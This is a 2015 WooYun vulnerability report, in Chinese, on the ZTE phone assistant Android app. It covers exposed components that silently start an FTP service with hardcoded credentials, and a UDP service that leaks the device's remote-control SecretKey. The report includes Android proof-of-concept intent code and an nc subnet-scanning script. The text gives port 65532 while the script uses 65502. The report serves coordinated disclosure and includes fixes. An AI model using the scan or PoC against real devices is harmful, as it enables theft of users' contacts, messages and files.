当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094537

漏洞标题:中兴手机助手本地提权与WIFI远程管理的认证机制绕过(详细Android分析过程与思路)

相关厂商:中兴通讯股份有限公司

漏洞作者: 小荷才露尖尖角

提交时间:2015-01-29 11:34

修复时间:2015-04-29 11:36

公开时间:2015-04-29 11:36

漏洞类型:非授权访问/认证绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-29: 细节已通知厂商并且等待厂商处理中
2015-01-30: 厂商已经确认,细节仅向厂商公开
2015-02-02: 细节向第三方安全合作伙伴开放
2015-03-26: 细节向核心白帽子及相关领域专家公开
2015-04-05: 细节向普通白帽子公开
2015-04-15: 细节向实习白帽子公开
2015-04-29: 细节向公众公开

简要描述:

包括两个漏洞:
(1)组件暴露,导致本地提权和远程访问
(2)远程管理认证机制绕过

详细说明:

中兴手机助手是中兴官方的安卓智能手机管理软件,官方下载地址为http://joinme.ztems.com/,我们测试的安卓版本为最新版2.1.66.3224,百度搜索显示下载量已有86万,不知中兴手机是否内置该应用。
包括两个漏洞:
第一个漏洞:本地组件暴露导致提权,只要用户安装中兴手机助手,无需任何权限的本地恶意应用就可在用户不知情的情况下启动供远程访问的FTP服务,且该FTP服务具有默认的用户名和密码。
暴露的两个安卓组件分别为 com.joinme.ftp.FtpServerService和JoinMeServiceReceiver。通过如下代码,

m_testbutton1=(Button)findViewById(R.id.BySvc);
m_testbutton1.setOnClickListener(new OnClickListener()
{
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
Intent i = new Intent();
i.setAction("com.joinme.ftp.FtpServerService");
startService(i);
}
});


或者

m_testbutton2=(Button)findViewById(R.id.ByReceiver);
m_testbutton2.setOnClickListener(new OnClickListener()
{
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
Intent i = new Intent();
i.setAction("android.intent.action.JoinMe_Ftp_Server_Service_Start");
sendBroadcast(i);
}
});


之一即可启动手机助手内置的FTP服务。
正常情况下启用服务需要用户干预,如图

normal_start.png


在用户不知情的情况下开启服务(只需要手机安装中兴手机助手)

user-unware.png


FTP服务还具有内置的默认用户名和密码,并在端口2121监听。如下图,见位于
FtpServerService中的代码片段。
加载FTP服务设置

load-ftpsetting.png


跟入Defaults类,得到默认username、password为JoinMe,port为2121

defaul-pwd.png


第二个漏洞:在手机助手后台运行的情况下,泄露SecretKey,导致可在WIFI环境远程控制手机
在分析第一个漏洞的时候,发现了第二个漏洞,与这个漏洞相比,上一个漏洞简直不算啥。
漏洞位于 JoinMeUdpService,该服务打开udp的65532端口监听,接收特定的命令字后可返回手机的敏感信息,包括SecretKey
如图,JoinMeUdpService的doListen方法

doListen.png


跟入doComm,可发现特定的命令为“JoinMe Broadcast"

cmd.png


漏洞证明:

第一个漏洞的证明:
利用默认用户名和密码远程访问FTP服务,非root条件下可浏览、下载/sdcard等目录中的文件。

ftpaccess.png


该FTP服务支持的命令

ftp_support.png


第二个漏洞的证明:

query-secretkey.png


注意上面的SecretKey,就是中兴手机助手PC端管理手机的验证码。当手机助手在后台运行的情况下,可在PC端通过验证码完全管理手机,获得所有通信录、短信、照片及应用信息,并具有手机助手所有的添加、删改权限!!

remote-connect.png


remote-access.png


比较有杀伤力的场景是在公共WIFI场所,在用户手机助手运行的情况下,通过以下脚本可以扫描获得SecretKey,并利用PC端进行远控!
scan.sh

#!/bin/bash
network="192.168.1"
for address in $(seq 1 254)
do
echo ${network}.${address}
echo -n "JoinMe Broadcast" | nc -w 2 -u ${network}.${address} 65502
done


扫描结果

scanresult.png


PC端远控相应手机

batch-control.png


修复方案:

针对漏洞一: 设置com.joinme.ftp.FtpServerService、 JoinMeServiceReceiver为exported:false,或者设置自定义权限,并将保护级别设为signature。FTP服务的用户名和密码,不要硬编码在代码中,可以设置在配置文件中读取。或者由用户在PC端手机助手临时指定。
针对漏洞二:禁用远程回显SecretKey

版权声明:转载请注明来源 小荷才露尖尖角@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-01-30 09:06

厂商回复:

厉害,话说洞主不是学生吧,要是学生能静下心来研究如此深入,那是真心膜拜~

最新状态:

暂无